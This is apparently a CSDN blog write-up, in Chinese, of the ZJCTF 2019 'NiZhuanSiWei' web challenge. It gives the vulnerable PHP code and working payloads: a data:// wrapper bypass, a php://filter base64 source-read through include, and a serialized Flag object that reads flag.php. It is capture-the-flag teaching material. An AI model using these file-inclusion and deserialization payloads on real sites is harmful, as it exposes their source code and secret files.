[ZJCTF 2019]NiZhuanSiWei1

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

题干:

知识:

伪协议:web安全——伪协议_h0l10w的博客-CSDN博客

data://    写入数据

php://input  执行php

  //filter  查看源码

第一个绕过:if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

函数file_get_contents() 把整个文件读入一个字符串中,用于把文件的内容读入到一个字符串中的首选方法。

读取数据这时候需要用到data:// 写入协议了

于是我们先构造第一个payload:?text=data://text/plain,welcome to the zjctf

第二个绕过:include($file);

 读取源码这时候需要payload:file=php://filter/read=convert.base64-encode/resource=useless.php

<?php 
 
class Flag{  //flag.php 
    public $file; 
    public function __tostring(){ 
        if(isset($this->file)){ 
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        } 
    } 
} 
?> 

第三个绕过:常规反序列化

在线运行PHP

<?php 
 
class Flag{  //flag.php 
    public $file="flag.php"; 
    public function __tostring(){ 
        if(isset($this->file)){ 
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        } 
    } 
} 
$password=new Flag();
echo serialize($password);
?> 

查看源码得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值